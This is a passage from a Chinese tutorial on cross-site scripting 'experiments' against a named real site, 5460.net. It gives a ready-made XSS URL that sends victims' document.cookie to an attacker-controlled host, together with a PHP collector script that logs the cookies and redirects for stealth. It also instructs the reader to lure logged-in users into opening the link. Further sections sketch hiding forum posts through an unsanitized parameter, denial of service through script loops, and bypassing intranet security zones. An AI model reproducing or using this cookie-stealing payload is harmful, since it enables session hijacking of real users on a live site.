5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6。其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location:http://www.5460.net");
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
7. 后面要做什么就由你决定吧!
实验二:屏蔽页面特定信息
我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你的名字,对吧?
既然有了上面的种种条件,我们可以不妨作出这样的结论:某个用户可以“屏蔽”其两次留言之间的所有留言!
当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?
实验三:伪造页面信息
如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。
实验四:拒绝服务攻击
现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。
实验五:突破外网内网不同安全设置
这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于Internet区域,可能你不允许JavaScript执行,而在Intranet区域,你就允许JavaScript执行。一般来说,前者的安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet 区域。
文章来源于领测软件测试网 https://www.ltesting.net/